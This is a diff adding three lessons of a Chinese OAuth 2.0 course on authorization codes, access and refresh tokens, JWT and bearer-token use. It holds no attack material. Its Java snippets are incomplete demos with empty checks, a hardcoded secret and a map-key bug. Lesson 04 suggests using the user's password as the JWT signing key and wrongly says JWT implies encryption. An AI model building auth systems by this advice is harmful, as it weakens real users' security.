+　　既然是授权，就会涉及范围。比如，我们使用微信登录第三方软件的时候，会看到微信提示我们，第三方软件可以获得你的昵称、头像、性别、地理位置等。如果你不想让第三方软件获取你的某个信息，那么可以不选择这一项。同样在小兔中也是一样，当小明为小兔进行授权的时候，也可以选择给小兔的权限范围，比如是否授予小兔获取 3 个月以前的订单的访问权限。
+
+　　这就意味着，我们需要对小兔传过来的 scope 参数，与小兔注册时申请的权限范围做比对。如果请求过来的权限范围大于注册时的范围，就需要作出越权提示。记住，此刻是第一次权限校验。
+
+String scope = request.getParameter("scope");
+if(!checkScope(scope)){
+}
+
+
+　　第三步，生成授权请求页面。
+
+　　这个授权请求页面就是授权服务上的页面，如下图所示：
+
+　　
+
+　　页面上显示了小兔注册时申请的 today、history 两种权限，小明可以选择缩小这个权限范围，比如仅授予获取 today 信息的权限。
+
+　　至此，颁发授权码 code 的准备工作就完成了。你要注意哈，我一直强调说这也是准备工作，因为当用户点击授权按钮“approve”后，才会生成授权码 code 值和访问令牌 acces_token 值，“一切才真正开始”。
+
+　　这里需要说明下：在上面的准备过程中，我们忽略了小明登录的过程，但只有用户登录了才可以对第三方软件进行授权，授权服务才能够获得用户信息并最终生成 code 和 app_id（第三方软件的应用标识） + user（资源拥有者标识）之间的对应关系。你可以把登录部分的代码，作为附加练习。
+
+　　小明点击“approve”按钮之后，生成授权码 code 的流程就正式开始了，主要包括验证权限范围（第二次）、处理授权请求生成授权码 code 和重定向至第三方软件这三大步。接下来，我们一起分析下这三步。
+
+　　第四步，验证权限范围（第二次）。
+
+　　在步骤二中，生成授权页面之前授权服务进行的第一次校验，是对比小兔请求过来的权限范围 scope 和注册时的权限做的比对。这里的第二次验证权限范围，是用小明进行授权之后的权限，再次与小兔软件注册的权限做校验。
+
+　　那这里为什么又要校验一次呢？因为这相当于一次用户的输入权限。小明选择了一定的权限范围给到授权服务，对于权限的校验我们要重视对待，凡是输入性数据都会涉及到合法性检查。另外，这也是要求我们养成一种在服务端对输入数据的请求，都尽可能做一次合法性校验的好习惯。
+
+String[] rscope =request.getParameterValues("rscope");
+if(!checkScope(rscope)){
+}
+
+
+　　第五步，处理授权请求，生成授权码 code。
+
+　　当小明同意授权之后，授权服务会校验响应类型 response_type 的值。response_type 有 code 和 token 两种类型的值。在这里，我们是用授权码流程来举例的，因此代码要验证 response_type 的值是否为 code。
+
+String responseType = request.getParameter("response_type");
+if("code".equals(responseType)){
+}
+
+
+　　在授权服务中，需要将生成的授权码 code 值与 app_id、user 进行关系映射。也就是说，一个授权码 code，表示某一个用户给某一个第三方软件进行授权，比如小明给小兔软件进行的授权。同时，我们需要将 code 值和这种映射关系保存起来，以便在生成访问令牌 access_token 时使用。
+
+String code = generateCode(appId,"USERTEST");
+private String generateCode(String appId,String user) {
+  	...
+	String code = strb.toString();
+	codeMap.put(code,appId+"|"+user+"|"+System.currentTimeMillis());
+	return code;
+}
+
+
+　　在生成了授权码 code 之后，我们也按照上面所述绑定了响应的映射关系。这时，你还记得我之前讲到的授权码是临时的、一次性凭证吗？因此，我们还需要为 code 设置一个有效期。
+
+　　OAuth 2.0 规范建议授权码 code 值有效期为 10 分钟，并且一个授权码 code 只能被使用一次。不过根据经验呢，在生产环境中 code 的有效期一般不会超过 5 分钟。关于授权码 code 相关的安全方面的内容，我还会在第 8 讲中详细讲述。
+
+　　同时，授权服务还需要将生成的授权码 code 跟已经授权的权限范围 rscope 进行绑定并存储，以便后续颁发访问令牌时，我们能够通过 code 值取出授权范围并与访问令牌绑定。因为第三方软件最终是通过访问令牌来请求受保护资源的。
+
+Map<String,String[]> codeScopeMap =  new HashMap<String, String[]>();
+codeScopeMap.put(code,rscope);
+
+
+　　第六步，重定向至第三方软件。
+
+　　生成授权码 code 值之后，授权服务需要将该 code 值告知第三方软件小兔。开始时我们提到，颁发授权码 code 是通过前端通信完成的，因此这里采用重定向的方式。这一步的重定向，也是我在上一讲中提到的第二次重定向。
+
+Map<String, String> params = new HashMap<String, String>();
+params.put("code",code);
+String toAppUrl = URLParamsUtil.appendParams(redirectUri,params);
+response.sendRedirect(toAppUrl);
+
+
+　　到此，颁发授权码 code 的流程全部完成。当小兔获取到授权码 code 值以后，就可以开始请求访问令牌 access_token 的值了，也就是我们即将开始的过程二。
+
+过程二：颁发访问令牌 access_token
+
+　　我们在过程一中介绍了授权码 code 的生成流程，但小兔最终是要获取到访问令牌 access_token，才可以去请求受保护资源。而授权码呢，正如我在上一讲提到的，只是一个换取访问令牌 access_token 的临时凭证。
+
+　　当小兔拿着授权码 code 来请求的时候，授权服务需要为之生成最终的请求访问令牌。这个过程主要包括验证第三方软件小兔是否存在、验证 code 值是否合法和生成 access_token 值这三大步。接下来，我们一起分析下每一步。
+
+　　第一步，验证第三方软件是否存在。
+
+　　此时，接收到的 grant_type 的类型为 authorization_code。
+
+String grantType = request.getParameter("grant_type");
+if("authorization_code".equals(grantType)){
+}
+
+
+　　由于颁发访问令牌是通过后端通信完成的，所以这里除了要校验 app_id 外，还要校验 app_secret。
+
+if(!appMap.get("app_id").equals(appId)){
+}
+
+if(!appMap.get("app_secret").equals(appSecret)){
+}
+
+
+　　第二步，验证授权码 code 值是否合法。
+
+　　授权服务在颁发授权码 code 的阶段已经将 code 值存储了起来，此时对比从 request 中接收到的 code 值和从存储中取出来的 code 值。在我们给出的课程相关代码中，code 值对应的 key 是 app_id 和 user 的组合值。
+
+String code = request.getParameter("code");
+
+if(!isExistCode(code)){
+　　  return;
+}
+codeMap.remove(code);
+
+
+　　这里我们一定要记住，确认过授权码 code 值有效以后，应该立刻从存储中删除当前的 code 值，以防止第三方软件恶意使用一个失窃的授权码 code 值来请求授权服务。
+
+　　第三步，生成访问令牌 access_token 值。
+
+　　关于按照什么规则来生成访问令牌 access_token 的值，OAuth 2.0 规范中并没有明确规定，但必须符合三个原则：唯一性、不连续性、不可猜性。在我们给出的 Demo 中，我们是使用 UUID 来作为示例的。
+
+　　和授权码 code 值一样，我们需要将访问令牌 access_token 值存储起来，并将其与第三方软件的应用标识 app_id 和资源拥有者标识 user 进行关系映射。也就是说，一个访问令牌 access_token 表示某一个用户给某一个第三方软件进行授权。
+
+　　同时，授权服务还需要将授权范围跟访问令牌 access_token 做绑定。最后，还需要为该访问令牌设置一个过期时间 expires_in，比如 1 天。
+
+Map<String,String[]> tokenScopeMap =  new HashMap<String, String[]>();
+String accessToken = generateAccessToken(appId,"USERTEST");
+tokenScopeMap.put(accessToken,codeScopeMap.get(code));
+private String generateAccessToken(String appId,String user){
+	String accessToken = UUID.randomUUID().toString();
+	String expires_in = "1"; 			                   			
+	tokenMap.put(accessToken,appId+"|"+user+"|"+System.currentTimeMillis()+"|"+expires_in);
+　　  return accessToken;
+　　}
+
+
+　　正因为 OAuth 2.0 规范没有约束访问令牌内容的生成规则，所以我们有更高的自由度。我们既可以像 Demo 中那样生成一个 UUID 形式的数据存储起来，让授权服务和受保护资源共享该数据；也可以将一些必要的信息通过结构化的处理放入令牌本身。我们将包含了一些信息的令牌，称为结构化令牌，简称 JWT。在下一讲中，我还会与你详细讲述 JWT。
+
+　　至此，授权码许可类型下授权服务的两大主要过程，也就是颁发授权码和颁发访问令牌的流程，我就与你讲完了。
+
+　　接下来，你在阅读别人的授权流程代码，或者是使用诸如通过微信登录的第三方软件的时候，就会明白背后的原理了。同时，你在自己搭建一个授权服务流程时，也会更加得心应手。这一切的原因，都在于颁发授权码和颁发访问令牌，就是授权服务的核心。
+
+　　到这里，你应该还会注意到一个问题，在生成访问令牌的时候，我们还给它附加了一个过期时间 expires_in，这意味着访问令牌会在一定的时间后失效。访问令牌失效，就意味着资源拥有者给第三方软件的授权失效了，第三方软件无法继续访问资源拥有者的受保护资源了。
+
+　　这时，如果你还想继续使用第三方软件，就只能重新点击授权按钮，比如小明给小兔软件授权以后，正在愉快地处理他店铺的订单数据，结果没过多久，突然间小兔软件再次让小明进行授权。此刻，我们可以替小明感受一下他的心情。
+
+　　显然，这样的用户体验非常糟糕。为此，OAuth 2.0 中引入了刷新令牌的概念，也就是刷新访问令牌 access_token 的值。这就意味着，有了刷新令牌，用户在一定期限内无需重新点击授权按钮，就可以继续使用第三方软件。
+
+　　接下来，我们就一起看看刷新令牌的工作原理吧。
+
+刷新令牌
+
+　　刷新令牌也是给第三方软件使用的，同样需要遵循先颁发再使用的原则。因此，我们还是从颁发和使用两个环节来学习刷新令牌。不过，这个颁发和使用流程和访问令牌有些是相同的，所以我只会和你重点讲述其中的区别。
+
+颁发刷新令牌
+
+　　其实，颁发刷新令牌和颁发访问令牌是一起实现的，都是在过程二的步骤三生成访问令牌 access_token 中生成的。也就是说，第三方软件得到一个访问令牌的同时，也会得到一个刷新令牌：
+
+　　Map<String,String> refreshTokenMap =  new HashMap<String, String>();
+　　String refreshToken = generateRefreshToken(appId,"USERTEST");
+　　private String generateRefreshToken(String appId,String user){
+　　  String refreshToken = UUID.randomUUID().toString();
+　　  refreshTokenMap.put(refreshToken,appId+"|"+user+"|"+System.currentTimeMillis());
+　　  return refreshToken;
+　　}
+
+
+　　看到这里你可能要问了，为什么要一起生成访问令牌和刷新令牌呢？
+
+　　其实，这就回到了刷新令牌的作用上了。刷新令牌存在的初衷是，在访问令牌失效的情况下，为了不让用户频繁手动授权，用来通过系统重新请求生成一个新的访问令牌。那么，如果访问令牌失效了，而“身边”又没有一个刷新令牌可用，岂不是又要麻烦用户进行手动授权了。所以，它必须得和访问令牌一起生成。
+
+　　到这里，我们就解决了刷新令牌的颁发问题。
+
+使用刷新令牌
+
+　　说到刷新令牌的使用，我们需要先明白一点。在 OAuth 2.0 规范中，刷新令牌是一种特殊的授权许可类型，是嵌入在授权码许可类型下的一种特殊许可类型。在授权服务的代码里，当我们接收到这种授权许可请求的时候，会先比较 grant_type 和 refresh_token 的值，然后做下一步处理。
+
+　　这其中的流程主要包括如下两大步骤。
+
+　　第一步，接收刷新令牌请求，验证基本信息。
+
+　　此时请求中的 grant_type 值为 refresh_token。
+
+　　String grantType = request.getParameter("grant_type");
+　　if("refresh_token".equals(grantType)){
+　　}
+
+
+　　和颁发访问令牌前的验证流程一样，这里我们也需要验证第三方软件是否存在。需要注意的是，这里需要同时验证刷新令牌是否存在，目的就是要保证传过来的刷新令牌的合法性。
+
+　　String refresh_token = request.getParameter("refresh_token");
+　　if(!refreshTokenMap.containsKey(refresh_token)){
+　　}
+
+
+　　另外，我们还需要验证刷新令牌是否属于该第三方软件。授权服务是将颁发的刷新令牌与第三方软件、当时的授权用户绑定在一起的，因此这里需要判断该刷新令牌的归属合法性。
+
+　　String appStr = refreshTokenMap.get("refresh_token");
+　　if(!appStr.startsWith(appId+"|"+"USERTEST")){
+　　}
+
+
+　　需要注意，一个刷新令牌被使用以后，授权服务需要将其废弃，并重新颁发一个刷新令牌。
+
+　　第二步，重新生成访问令牌。
+
+　　生成访问令牌的处理流程，与颁发访问令牌环节的生成流程是一致的。授权服务会将新的访问令牌和新的刷新令牌，一起返回给第三方软件。这里就不再赘述了。
+
+总结
+
+　　今天的课马上又要结束了，我和你讲了授权码许可类型下授权服务的工作原理。授权服务可以说是整个 OAuth 2.0 体系中的 “灵魂” 组件，任何一种许可类型都离不开它的支持，它也是最复杂的组件。
+
+　　这是因为它将复杂性尽可能地“揽在了自己身上”，才使得诸如小兔这样的第三方软件接入 OAuth 2.0 的时候更加便捷。那关于如何快速地接入 OAuth 2.0，我在第 5 讲中和你详细展开。
+
+　　授权服务的步骤流程比较多，因此我把这节课配套的代码放到了GitHub上，可以帮助你更好地理解授权服务的流程。
+
+　　总结来讲，关于这一讲，我希望你能记住以下 3 点。
+
+　　授权服务的核心就是，先颁发授权码 code 值，再颁发访问令牌 access_token 值。
+
+　　在颁发访问令牌的同时还会颁发刷新令牌 refresh_token 值，这种机制可以在无须用户参与的情况下用于生成新的访问令牌。正如我们讲到的小明使用小兔软件的例子，当访问令牌过期的时候，刷新令牌的存在可以大大提高小明使用小兔软件的体验。
+
+　　授权还要有授权范围，不能让第三方软件获得比注册时权限范围还大的授权，也不能获得超出了用户授权的权限范围，始终确保最小权限安全原则。比如，小明只为小兔软件授予了获取当天订单的权限，那么小兔软件就不能访问小明店铺里面的历史订单数据。
+
+思考题
+
+　　刷新令牌有过期时间吗，会一直有效吗？和我说说你的想法吧。
+
+　　欢迎你在留言区分享你的观点，也欢迎你把今天的内容分享给其他朋友，我们一起交流。
+
+                        
+                        
+                            

专栏/OAuth2.0实战课/04在OAuth2.0中，如何使用JWT结构化令牌？.md

@@ -0,0 +1,174 @@
+
+                            
+                            因收到Google相关通知，网站将会择期关闭。相关通知内容
+                            
+                            
+                            04 在OAuth 2.0中，如何使用JWT结构化令牌？
+                            　　你好，我是王新栋。
+
+　　在上一讲，我们讲到了授权服务的核心就是颁发访问令牌，而 OAuth 2.0 规范并没有约束访问令牌内容的生成规则，只要符合唯一性、不连续性、不可猜性就够了。这就意味着，我们可以灵活选择令牌的形式，既可以是没有内部结构且不包含任何信息含义的随机字符串，也可以是具有内部结构且包含有信息含义的字符串。
+
+　　随机字符串这样的方式我就不再介绍了，之前课程中我们生成令牌的方式都是默认一个随机字符串。而在结构化令牌这方面，目前用得最多的就是 JWT 令牌了。
+
+　　接下来，我就要和你详细讲讲，JWT 是什么、原理是怎样的、优势是什么，以及怎么使用，同时我还会讲到令牌生命周期的问题。
+
+JWT 结构化令牌
+
+　　关于什么是 JWT，官方定义是这样描述的：
+
+　　JSON Web Token（JWT）是一个开放标准（RFC 7519），它定义了一种紧凑的、自包含的方式，用于作为 JSON 对象在各方之间安全地传输信息。
+
+　　这个定义是不是很费解？我们简单理解下，JWT 就是用一种结构化封装的方式来生成 token 的技术。结构化后的 token 可以被赋予非常丰富的含义，这也是它与原先毫无意义的、随机的字符串形式 token 的最大区别。
+
+　　结构化之后，令牌本身就可以被“塞进”一些有用的信息，比如小明为小兔软件进行了授权的信息、授权的范围信息等。或者，你可以形象地将其理解为这是一种“自编码”的能力，而这些恰恰是无结构化令牌所不具备的。
+
+　　JWT 这种结构化体可以分为 HEADER（头部）、PAYLOAD（数据体）和 SIGNATURE（签名）三部分。经过签名之后的 JWT 的整体结构，是被句点符号分割的三段内容，结构为 header.payload.signature 。比如下面这个示例：
+
+　　eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
+　　eyJzdWIiOiJVU0VSVEVTVCIsImV4cCI6MTU4NDEwNTc5MDcwMywiaWF0IjoxNTg0MTA1OTQ4MzcyfQ.
+　　1HbleXbvJ_2SW8ry30cXOBGR9FW4oSWBd3PWaWKsEXE
+
+
+　　注意：JWT 内部没有换行，这里只是为了展示方便，才将其用三行来表示。
+
+　　你可能会说，这个 JWT 令牌看起来也是毫无意义的、随机的字符串啊。确实，你直接去看这个字符串是没啥意义，但如果你把它拷贝到https://jwt.io/ 网站的在线校验工具中，就可以看到解码之后的数据：
+
+　　
+
+　　图1 由在线校验工具解码后的JWT令牌
+
+　　再看解码后的数据，你是不是发现它跟随机的字符串不一样了呢。很显然，现在呈现出来的就是结构化的内容了。接下来，我就具体和你说说 JWT 的这三部分。
+
+　　HEADER 表示装载令牌类型和算法等信息，是 JWT 的头部。其中，typ 表示第二部分 PAYLOAD 是 JWT 类型，alg 表示使用 HS256 对称签名的算法。
+
+　　PAYLOAD 表示是 JWT 的数据体，代表了一组数据。其中，sub（令牌的主体，一般设为资源拥有者的唯一标识）、exp（令牌的过期时间戳）、iat（令牌颁发的时间戳）是 JWT 规范性的声明，代表的是常规性操作。更多的通用声明，你可以参考RFC 7519 开放标准。不过，在一个 JWT 内可以包含一切合法的 JSON 格式的数据，也就是说，PAYLOAD 表示的一组数据允许我们自定义声明。
+
+　　SIGNATURE 表示对 JWT 信息的签名。那么，它有什么作用呢？我们可能认为，有了 HEADER 和 PAYLOAD 两部分内容后，就可以让令牌携带信息了，似乎就可以在网络中传输了，但是在网络中传输这样的信息体是不安全的，因为你在“裸奔”啊。所以，我们还需要对其进行加密签名处理，而 SIGNATURE 就是对信息的签名结果，当受保护资源接收到第三方软件的签名后需要验证令牌的签名是否合法。
+
+　　现在，我们知道了 JWT 的结构以及每部分的含义，那么具体到 OAuth 2.0 的授权流程中，JWT 令牌是如何被使用的呢？在讲如何使用之前呢，我先和你说说“令牌内检”。
+
+令牌内检
+
+　　什么是令牌内检呢？授权服务颁发令牌，受保护资源服务就要验证令牌。同时呢，授权服务和受保护资源服务，它俩是“一伙的”，还记得我之前在[第 2 课]讲过的吧。受保护资源来调用授权服务提供的检验令牌的服务，我们把这种校验令牌的方式称为令牌内检。
+
+　　有时候授权服务依赖一个数据库，然后受保护资源服务也依赖这个数据库，也就是我们说的“共享数据库”。不过，在如今已经成熟的分布式以及微服务的环境下，不同的系统之间是依靠服务而不是数据库来通信了，比如授权服务给受保护资源服务提供一个 RPC 服务。如下图所示。
+
+　　
+
+　　图2 授权服务提供接口服务，供受保护资源校验令牌
+
+　　那么，在有了 JWT 令牌之后，我们就多了一种选择，因为 JWT 令牌本身就包含了之前所要依赖数据库或者依赖 RPC 服务才能拿到的信息，比如我上面提到的哪个用户为哪个软件进行了授权等信息。
+
+　　接下来就让我们看看有了 JWT 令牌之后，整体的内检流程会变成什么样子。
+
+JWT 是如何被使用的？
+
+　　有了 JWT 令牌之后的通信方式，就如下面的图 3 所展示的那样了，授权服务“扔出”一个令牌，受保护资源服务“接住”这个令牌，然后自己开始解析令牌本身所包含的信息就可以了，而不需要再去查询数据库或者请求 RPC 服务。这样也实现了我们上面说的令牌内检。
+
+　　
+
+　　图3 受保护资源服务可直接解析JWT令牌
+
+　　在上面这幅图中呢，为了更能突出 JWT 令牌的位置，我简化了逻辑关系。实际上，授权服务颁发了 JWT 令牌后给到了小兔软件，小兔软件拿着 JWT 令牌来请求受保护资源服务，也就是小明在京东店铺的订单。很显然，JWT 令牌需要在公网上做传输。所以在传输过程中，JWT 令牌需要进行 Base64 编码以防止乱码，同时还需要进行签名及加密处理来防止数据信息泄露。
+
+　　如果是我们自己处理这些编码、加密等工作的话，就会增加额外的编码负担。好在，我们可以借助一些开源的工具来帮助我们处理这些工作。比如，我在下面的 Demo 中，给出了开源 JJWT（Java JWT）的使用方法。
+
+　　JJWT 是目前 Java 开源的、比较方便的 JWT 工具，封装了 Base64URL 编码和对称 HMAC、非对称 RSA 的一系列签名算法。使用 JJWT，我们只关注上层的业务逻辑实现，而无需关注编解码和签名算法的具体实现，这类开源工具可以做到“开箱即用”。
+
+　　这个 Demo 的代码如下，使用 JJWT 可以很方便地生成一个经过签名的 JWT 令牌，以及解析一个 JWT 令牌。
+
+　　String sharedTokenSecret="hellooauthhellooauthhellooauthhellooauth";
+　　Key key = new SecretKeySpec(sharedTokenSecret.getBytes(),
+　　                SignatureAlgorithm.HS256.getJcaName());
+　　String jwts=
+　　Jwts.builder().setHeaderParams(headerMap).setClaims(payloadMap).signWith(key,SignatureAlgorithm.HS256).compact()
+
+　　Jws<Claims> claimsJws =Jwts.parserBuilder().setSigningKey(key).build().parseClaimsJws(jwts);
+　　JwsHeader header = claimsJws.getHeader();
+　　Claims body = claimsJws.getBody();
+
+
+　　使用 JJWT 解析 JWT 令牌时包含了验证签名的动作，如果签名不正确就会抛出异常信息。我们可以借助这一点来对签名做校验，从而判断是否是一个没有被伪造过的、合法的 JWT 令牌。
+
+　　异常信息，一般是如下的样子：
+
+　　JWT signature does not match locally computed signature. JWT validity cannot be asserted and should not be trusted.
+
+
+　　以上就是借助开源工具，将 JWT 令牌应用到授权服务流程中的方法了。到这里，你是不是一直都有一个疑问：为什么要绕这么大一个弯子，使用 JWT，而不是使用没有啥内部结构，也不包含任何信息的随机字符串呢？JWT 到底有什么好处？
+
+为什么要使用 JWT 令牌？
+
+　　别急，我这就和你总结下使用 JWT 格式令牌的三大好处。
+
+　　第一，JWT 的核心思想，就是用计算代替存储，有些 “时间换空间” 的 “味道”。当然，这种经过计算并结构化封装的方式，也减少了“共享数据库” 因远程调用而带来的网络传输消耗，所以也有可能是节省时间的。
+
+　　第二，也是一个重要特性，是加密。因为 JWT 令牌内部已经包含了重要的信息，所以在整个传输过程中都必须被要求是密文传输的，这样被强制要求了加密也就保障了传输过程中的安全性。这里的加密算法，既可以是对称加密，也可以是非对称加密。
+
+　　第三，使用 JWT 格式的令牌，有助于增强系统的可用性和可伸缩性。这一点要怎么理解呢？我们前面讲到了，这种 JWT 格式的令牌，通过“自编码”的方式包含了身份验证需要的信息，不再需要服务端进行额外的存储，所以每次的请求都是无状态会话。这就符合了我们尽可能遵循无状态架构设计的原则，也就是增强了系统的可用性和伸缩性。
+
+　　但，万物皆有两面性，JWT 令牌也有缺点。
+
+　　JWT 格式令牌的最大问题在于 “覆水难收”，也就是说，没办法在使用过程中修改令牌状态。我们还是借助小明使用小兔软件例子，先停下来想一下。
+
+　　小明在使用小兔软件的时候，是不是有可能因为某种原因修改了在京东的密码，或者是不是有可能突然取消了给小兔的授权？这时候，令牌的状态是不是就要有相应的变更，将原来对应的令牌置为无效。
+
+　　但，使用 JWT 格式令牌时，每次颁发的令牌都不会在服务端存储，这样我们要改变令牌状态的时候，就无能为力了。因为服务端并没有存储这个 JWT 格式的令牌。这就意味着，JWT 令牌在有效期内，是可以“横行无止”的。
+
+　　为了解决这个问题，我们可以把 JWT 令牌存储到远程的分布式内存数据库中吗？显然不能，因为这会违背 JWT 的初衷（将信息通过结构化的方式存入令牌本身）。因此，我们通常会有两种做法：
+
+　　一是，将每次生成 JWT 令牌时的秘钥粒度缩小到用户级别，也就是一个用户一个秘钥。这样，当用户取消授权或者修改密码后，就可以让这个密钥一起修改。一般情况下，这种方案需要配套一个单独的密钥管理服务。
+
+　　二是，在不提供用户主动取消授权的环境里面，如果只考虑到修改密码的情况，那么我们就可以把用户密码作为 JWT 的密钥。当然，这也是用户粒度级别的。这样一来，用户修改密码也就相当于修改了密钥。
+
+令牌的生命周期
+
+　　我刚才讲了 JWT 令牌有效期的问题，讲到了它的失效处理，另外咱们在[第 3 讲]中提到，授权服务颁发访问令牌的时候，都会设置一个过期时间，其实这都属于令牌的生命周期的管理问题。接下来，我便向你讲一讲令牌的生命周期。
+
+　　万物皆有周期，这是自然规律，令牌也不例外，无论是 JWT 结构化令牌还是普通的令牌。它们都有有效期，只不过，JWT 令牌可以把有效期的信息存储在本身的结构体中。
+
+　　具体到 OAuth 2.0 的令牌生命周期，通常会有三种情况。
+
+　　第一种情况是令牌的自然过期过程，这也是最常见的情况。这个过程是，从授权服务创建一个令牌开始，到第三方软件使用令牌，再到受保护资源服务验证令牌，最后再到令牌失效。同时，这个过程也不排除主动销毁令牌的事情发生，比如令牌被泄露，授权服务可以做主让令牌失效。
+
+　　生命周期的第二种情况，也就是上一讲提到的，访问令牌失效之后可以使用刷新令牌请求新的访问令牌来代替失效的访问令牌，以提升用户使用第三方软件的体验。
+
+　　生命周期的第三种情况，就是让第三方软件比如小兔，主动发起令牌失效的请求，然后授权服务收到请求之后让令牌立即失效。我们来想一下，什么情况下会需要这种机制，也就是想一下第三方软件这样做的 “动机”，毕竟一般情况下 “我们很难放弃已经拥有的事物”。
+
+　　比如有些时候，用户和第三方软件之间存在一种订购关系，比如小明购买了小兔软件，那么在订购时长到期或者退订，且小明授权的 token 还没有到期的情况下，就需要有这样的一种令牌撤回协议，来支持小兔软件主动发起令牌失效的请求。作为平台一方比如京东商家开放平台，也建议有责任的第三方软件比如小兔软件，遵守这样的一种令牌撤回协议。
+
+　　我将以上三种情况整理成了一份序列图，以便帮助你理解。同时，为了突出令牌，我将访问令牌和刷新令牌，特意用深颜色标识出来，并单独作为两个角色放进了整个序列图中。
+
+　　
+
+　　图4 令牌生命周期
+
+总结
+
+　　OAuth 2.0 的核心是授权服务，更进一步讲是令牌，没有令牌就没有 OAuth，令牌表示的是授权行为之后的结果。
+
+　　一般情况下令牌对第三方软件来说是一个随机的字符串，是不透明的。大部分情况下，我们提及的令牌，都是一个无意义的字符串。
+
+　　但是，人们“不甘于”这样的满足，于是开始探索有没有其他生成令牌的方式，也就有了 JWT 令牌，这样一来既不需要通过共享数据库，也不需要通过授权服务提供接口的方式来做令牌校验了。这就相当于通过 JWT 这种结构化的方式，我们在做令牌校验的时候多了一种选择。
+
+　　通过这一讲呢，我希望你能记住以下几点内容：
+
+　　我们有了新的令牌生成方式的选择，这就是 JWT 令牌。这是一种结构化、信息化令牌，结构化可以组织用户的授权信息，信息化就是令牌本身包含了授权信息。
+
+　　虽然我们这讲的重点是 JWT 令牌，但是呢，不论是结构化的令牌还是非结构化的令牌，对于第三方软件来讲，它都不关心，因为令牌在 OAuth 2.0 系统中对于第三方软件都是不透明的。需要关心令牌的，是授权服务和受保护资源服务。
+
+　　我们需要注意 JWT 令牌的失效问题。我们使用了 JWT 令牌之后，远程的服务端上面是不存储的，因为不再有这个必要，JWT 令牌本身就包含了信息。那么，如何来控制它的有效性问题呢？本讲中，我给出了两种建议，一种是建立一个秘钥管理系统，将生成秘钥的粒度缩小到用户级别，另外一种是直接将用户密码当作密钥。
+
+　　现在，你已经对 JWT 有了更深刻的认识，也知道如何来使用它了。当你构建并生成令牌的时候除了使用随机的、“任性的”字符串，还可以采用这样的结构化的令牌，以便在令牌校验的时候能解析出令牌的内容信息直接进行校验处理。
+
+　　我把今天用到的代码放到了 GitHub 上，你可以点击这个链接查看。
+
+思考题
+
+　　你还知道有哪些场景适合 JWT 令牌，又有哪些场景不适合 JWT 令牌吗？
+
+　　欢迎你在留言区分享你的观点，也欢迎你把今天的内容分享给其他朋友，我们一起交流。
+
+                        
+                        
+                            

专栏/OAuth2.0实战课/05如何安全、快速地接入OAuth2.0？.md

@@ -0,0 +1,188 @@
+
+                            
+                            因收到Google相关通知，网站将会择期关闭。相关通知内容
+                            
+                            
+                            05 如何安全、快速地接入OAuth 2.0？
+                            　　你好，我是王新栋。
+
+　　在[第 3 讲]，我已经讲了授权服务的流程，如果你还记得的话，当时我特意强调了一点，就是授权服务将 OAuth 2.0 的复杂性都揽在了自己身上，这也是授权服务为什么是 OAuth 2.0 体系的核心的原因之一。
+
+　　虽然授权服务做了大部分工作，但是呢，在 OAuth 2.0 的体系里面，除了资源拥有者是作为用户参与，还有另外两个系统角色，也就是第三方软件和受保护资源服务。那么今天这一讲，我们就站在这两个角色的角度，看看它们应该做哪些工作，才能接入到 OAuth 2.0 的体系里面呢？
+
+　　现在，就让我们来看看，作为第三方软件的小兔和京东的受保护资源服务，具体需要着重处理哪些工作吧。
+
+　　注：另外说明一点，为了脱敏的需要，在下面的讲述中，我只是把京东商家开放平台作为一个角色使用，以便有场景感，来帮助你理解。
+
+构建第三方软件应用
+
+　　我们先来思考一下：如果要基于京东商家开放平台构建一个小兔打单软件的应用，小兔软件的研发人员应该做哪些工作？
+
+　　是不是要到京东商家开放平台申请注册为开发者，在成为开发者以后再创建一个应用，之后我们就开始开发了，对吧？没错，一定是这样的流程。那么，开发第三方软件应用的过程中，我们需要重点关注哪些内容呢？
+
+　　我先来和你总结下，这些内容包括 4 部分，分别是：注册信息、引导授权、使用访问令牌、使用刷新令牌。
+
+　　
+
+　　图1 开发第三方软件应用，应该关注的内容
+
+　　第一点，注册信息。
+
+　　首先，小兔软件只有先有了身份，才可以参与到 OAuth 2.0 的流程中去。也就是说，小兔软件需要先拥有自己的 app_id 和 app_serect 等信息，同时还要填写自己的回调地址 redirect_uri、申请权限等信息。
+
+　　这种方式的注册呢，我们有时候也称它为静态注册，也就是小兔软件的研发人员提前登录到京东商家开放平台进行手动注册，以便后续使用这些注册的相关信息来请求访问令牌。
+
+　　第二点，引导授权。
+
+　　当用户需要使用第三方软件，来操作其在受保护资源上的数据，就需要第三方软件来引导授权。比如，小明要使用小兔打单软件来对店铺里面的订单发货打印，那小明首先访问的一定是小兔软件（原则上是直接访问第三方软件，不过我们在后面讲到服务市场这种场景的时候，会有稍微不同），不会是授权服务，更不会是受保护资源服务。
+
+　　但是呢，小兔软件需要小明的授权，只有授权服务才能允许小明这样做。所以呢，小兔软件需要 “配合” 小明做的第一件事儿，就是将小明引导至授权服务，如下面代码所示。
+
+　　那去做什么呢？其实就是让用户为第三方软件授权，得到了授权之后，第三方软件才可以代表用户去访问数据。也就是说，小兔打单软件获得授权之后，才能够代表小明处理其在京东店铺上的订单数据。
+
+　　String oauthUrl = "http://localhost:8081/OauthServlet-ch03?reqType=oauth";
+　　response.sendRedirect(toOauthUrl);
+
+
+　　第三点，使用访问令牌。
+
+　　拿到令牌后去使用令牌，才是第三方软件的最终目的。然后我们看看如何使用令牌。目前 OAuth 2.0 的令牌只支持一种类型，那就是 bearer 令牌，也就是我之前讲到的可以是任意字符串格式的令牌。
+
+　　官方规范给出的使用访问令牌请求的方式，有三种，分别是：
+
+　　Form-Encoded Body Parameter（表单参数）
+　　POST /resource HTTP/1.1
+　　Host: server.example.com
+　　Content-Type: application/x-www-form-urlencoded
+　　access_token=b1a64d5c-5e0c-4a70-9711-7af6568a61fb
+　　
+　　URI Query Parameter（URI 查询参数）
+　　GET /resource?access_token=b1a64d5c-5e0c-4a70-9711-7af6568a61fb HTTP/1.1
+　　Host: server.example.com
+　　Authorization Request Header Field（授权请求头部字段）
+　　GET /resource HTTP/1.1
+　　Host: server.example.com
+　　Authorization: Bearer b1a64d5c-5e0c-4a70-9711-7af6568a61fb
+
+
+　　也就是说，这三种方式都可以请求到受保护资源服务。那么，我们采用哪种方式最合适呢？
+
